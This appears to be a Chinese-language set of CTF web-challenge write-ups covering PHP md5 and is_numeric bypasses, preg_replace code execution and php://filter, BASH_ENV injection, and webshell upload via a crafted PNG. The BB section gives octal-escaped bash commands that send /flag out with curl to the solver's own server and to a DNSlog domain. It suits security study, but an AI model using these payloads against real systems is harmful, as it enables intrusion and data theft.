[MRCTF2020]Ez_bypass
PHP Version: 5.6.40
知识点
- md5 碰撞 / md5 数组绕过
- 添加非数字字符绕过 is_numeric
代码
做题
这些知识点在 CTFShow 上都运用过,第一步 md5 绕过,GET的参数可以有几种方式,具体方式可以查看参考资料 1
第二步考察对 is_numeric 的绕过。在之前提到过,
233 == 233fuck
是成立的,所以我们只需要在 1234567 后面随便加点东西就行了。payload
参考资料
[BJDCTF2020]ZJCTF,不过如此
PHP Version: 5.6.40
知识点
- php://input 传入
- php 伪协议 php://filter
代码
做题
第一个 $text 的部分比较好解决,传入
text =
file://input
然后传入post参数 I have a dream 即可第二个提示了 next.php,我们尝试直接引入
似乎对题目没有什么帮助,我们直接写入 http:// 尝试引入外部链接也无效。
我们尝试使用 php 伪协议来读取其中有什么内容
payload:
解码后读到 next.php 的代码为
我原本以为可以用 $_SESSION['id'] 反序列化来请求 getFlag() ,想了想不对啊,也不是这么个事,参考了辅导书以后,发现可以使用preg_replace进行代码执行,原理是第二个参数可以当作代码来执行,preg_replace会把匹配到的字符传入第二个函数。
我们先来看看这段foreach的代码会发生什么
简而言之,左边的key变成了$re,value变成了$str。那么这个怎么利用呢,然后我又参考了参考资料2
简单来说,要传入左边 $re 使value被匹配到,并且被执行,就完成了任务。那么怎么传入自己的命令呢?然后我又参考了参考资料3
怎么在变量中执行代码,我们可以用这一行来试一下
$b = "{${phpinfo()}}";
可以看到,phpinfo() 被成功的执行。
当然,我们自己尝试传上去的参数是不会被执行的,不然这还得了。
懂得花括号内命令执行的原理,我们就可以尝试构造一个shell了。比如说,我们就直接调用题目中给的 getFlag();,也就是
{${getFlag()}}
下一步就是正则匹配了,为了匹配全部我们可以用 .*,但其实没有必要,我们直接用和value一样的
{${getFlag()}}
就可以了,$和()用 \ 来转义一下。最后一句话木马搞定,拿蚁剑连接即可,flag 在根目录下。
payload:
参考资料
[LineCTF2022]BB 1
代码
思路
知识点:
- 环境变量设置
- 参数提交数组
- 利用 BASH_ENV 进行渗透(hint: bash -c)
利用 alias 设置命令
- bash 八进制转义
- curl弹shell
错误思路
一开始的思路是,bash -c ‘imdude’,所以我要找imdude所在目录,所以我要通过环境变量设置。显然我们并不知道imdude在哪里有,我们也不知道在哪里能写入它。
第二步的思路是,因为它拦截了等号,也在第二个参数拦截了字母,所以在第一个参数想着绕过putenv,比如在后面插等号什么的
第三步的思路是,用BASH_ENV是可以插通配符的,所以直接插 /* 就完事了
正确思路
看到 bash -c ,立刻想到有 BASH_ENV 。利用在bash -c前均会执行 BASH_ENV 内的文件内容的性质,拿到flag(一般来说这个默认是 /etc/profile)。
看到 preg,应该想到怎么绕过,使用 bash 转义字符,将它们全部转为八进制的 \xxx 这样形式的字符。
然后还要注意分开空格这类字符,避免被当成完整的路径
做题
先想办法使env参数可以传入为 kv 的形式,这里需要在get参数传入字符串
将env[x]参数设置为xxx的方式,即可使 $k=x, $v=xxx
然后因为下面是BASH_ENV,所以我们要设置的就是BASH_ENV,并且因为正则表达式的原因,我们还不能在这里传入带字母的(包括大小写,那怎么办呢)
踩坑1-转义带空格
使用BASH的转义就好了。
比如需要将 /flag 转义成 bash 能读懂的八进制,那就运行下面的函数
它会输出 \057\146\154\141\147, 拼接一下 $’’ 使其成为 echo $’\057\146\154\141\147’ ,它就可以输出 /flag
但是这里有个坑点,如果你把空格也包进去了,根据bash的特性,它会将引号内的内容看作是一个完整的程序(?),这也容易理解,比如如果你的路径带空格的话,可以使用类似 “/Users/Guo guo/Downloads” 来获得你的完整路径,但是bash又不知道你想执行的到底是 /User/Guo 还是 /Users/Guo guo/Downloads,既然这里没有限制空格,我们就可以把它分开。
踩坑2-目录不可写
下载 Dockerfile 后,发现flag藏在 /flag ,我的想法是将 /flag 直接cp到 /var/www/html 不就好了嘛~
于是逐个写下命令,最终的命令是
$($'\143\160' $'\057\146\154\141\147' $'\057\166\141\162\057\167\167\167\057\150\164\155\154\057\146\154\141\147')
然后丢上去执行,发现,诶我草,404
同时也尝试了 rm index.php 也不行,于是考虑到,可能是权限问题。
最终出路-方法1-curl将flag弹到自己服务器
最终研究Dockerfile的时候,发现上面有一个 apt install curl,这一定是作者给我们留下的提示嘻嘻嘻
于是找一台服务器 nc -lvvp 2334 走起,直接将flag弹到自己的服务器上,这里使用 curl xxx/$(cat /flag)的方法,最终拿到了flag
先起一台服务器,假设服务器域名/IP是xxx.com
$($'\143\165\162\154' $'\150\164\164\160\072\057\057\170\170\170\056\143\157\155\072\062\063\063\064'/$($'\143\141\164' $'\057\146\154\141\147')
(这个命令的意思是 curl http://xxx.com:2334/$(cat /flag),所以这样就可以接到flag啦)
最终接受到的请求是这样的
好咧,{}因为没转义的原因被bash吃掉了,自己拼装一下,提交,flag正确~
最终出路-方法2-使用dnslog
原理和上面的一样,只不过不需要自己的服务器了。
去dnslog.cn领一个域名,然后用 curl $(cat /flag).xxxxxx.dnslog.cn 的方法拿到
这里给出一个示例
$($'\143\165\162\154' $($'\143\141\164' $'\057\146\154\141\147').$'\067\157\156\150\166\152\056\144\156\163\154\157\147\056\143\156')
参考资料
Phuck2(未完成)
服务器信息:无
源码
思路
- dirsearch,发现一个 users/ 目录,有一个列目录,但好像没什么软用
- 也没有暴露其他服务器信息,整得我一头雾水
- (writeup1)escapeshellarg 能否绕过?
- (writeup1)profile 能否在下面重新引用?
- (writeup2)怎么实现file_get_contents的内容和include的内容不一样?
知识点
- allow_url_include=Off 时,file_get_contents 在处理 data:xxx 时会取xxx这个字符串,include则会读文件名为data:xxx的文件
可控参数
- $_SERVER['HTTP_X_FORWARDED_FOR']
- $_GET['page']
做题
既然没有任何信息,那我就……
开摆,看writeup。。(第一次查看Writeup)
不是,这题不看writeup做个锤子噢,dirsearch扫半天就扫到一个 users/ ,还有知道是个php,搞得我半天都在这里对着这个 index.php 输出
可以看到,这里在第一行禁止了 php 流,就防止了使用 php://input 这种路径。同时,定义了 $mkdir 函数,但是有一个 escapeshellarg,使其怎样都会被转义成一个参数,没办法使用’;之类的方式逃脱。
所以重点就来到了这个 file_put_contents 头上,这个一定是个重要角色,同时是重要角色的还有下面的include,但是有一个 file_get_contents 过滤,怎么办呢?
第一个思路就是使用 data:// ,其实一开始我也想到了hhh,但是比较难绷的是我没想到include可以利用data流直接include文件,所以第一个思路很快就被我排除了
第二个思路就是使用外部连接,我可以使前两次返回的内容不包含 <? 和 php,而到最后一次我再返回一个shell。想法很美好,但是……它不出网(
已知可控参数必然有重要作用,我们也要include到这个文件,还要躲避 file_get_contents 的追捕。直接include profile不行,因为其中必然会有一个 [SCRIPT_NAME] => /index.php 拦掉。
没头绪了,好怪哦,再看看(第二次查看Writeup)
然后才知道知识点1
但是在自己的服务器上跑不动,不知道为啥,测试代码如下
偷看Writeup
- 开始做题没有任何思路,所以偷看writeup,发现大家都知道怎么拿到源码了,这个不看writeup怎么想??在url后面追加一个 ?hl 就可以看到源码了
参考资料
[CISCN2021 Quals]upload1(未完成)
代码
要点
- 包含PHP的img图片
- 通过Python脚本创建(但原理是啥)
- 图片长宽要均1
- 通过define设置width和length来绕过
- 设置get参数ctf为upload,同时将文件放到postedFile上
- 文件名不能包含c,i,h,ph
- 用土耳其字母 İ 绕过i的判断
- 如果php有其他字母能实现也行,可惜没找到
思路
- stristr绕过(通过回车符%0a绕过),但是无法绕过单字母
卡死点
- 不知道 example.php 的存在
- 解决方法:开扫描(?)
- 遇到上传文件时验证图片的不知道怎么办
- 不知道怎么绕过png二次渲染保存php文件
- PNG-IDAT-Payload-Generator 的原理到底是什么????
- 遇到字母匹配的时候不知道怎么办
- 不知道土耳其字母 İ 的存在(İ在经过 mb_strtolower 后会变成i)
过程
在了解到了example.php和index.php这两个文件后,首先的突破口应该是index.php,因为example只能用来获取本地的文件,还得是zip格式的文件用于解压缩,所以首先得将压缩了php木马的文件绕过像素检查,然后使压缩包能够上传,还得将解压后的php文件伪装成图片突破二次渲染。
然后这个 PNG-IDAT-Payload-Generator 对我来说暂时就是黑盒了,在我还没深究的时候,我还没理解这里的思路,为什么payload要用那串东西,啊点一下它就完成了?我干了啥.jpg?但是我们可以通过查看其代码(参考文档3)来了解其原理。
根据index.php的条件,首先有四个要素,就是文件不能太大、文件必须让PHP的getimagesize获得长宽比信息、文件名不能包含c/i/h (大小写都不行),同时上传的文件会被放在 image 文件夹
然后执行
然后将文件名重命名为1.php并打包,然后在zip注释加入
简单隐写合并(不合并也行,直接在post的时候修改下面的内容)
在提交时,将i改为%c4%b0,注意提交方式为post,然后发现文件被放在了 image/sb.zip
再根据 example.php 的内容,提交参数ctf为poc,file为../image/sb.zip (因为它在example目录,要上一级解压)
解压后的文件在 example/shell.php,传入,找到文件在 /etc/fllagggaaaa/ejklwfthreu8rt/fgrtgergyer/ergerhrtytrh/rtehtrhytryhre/gfhtryrtgrewfre34t/t43ft34f/flag11e3kerjh3u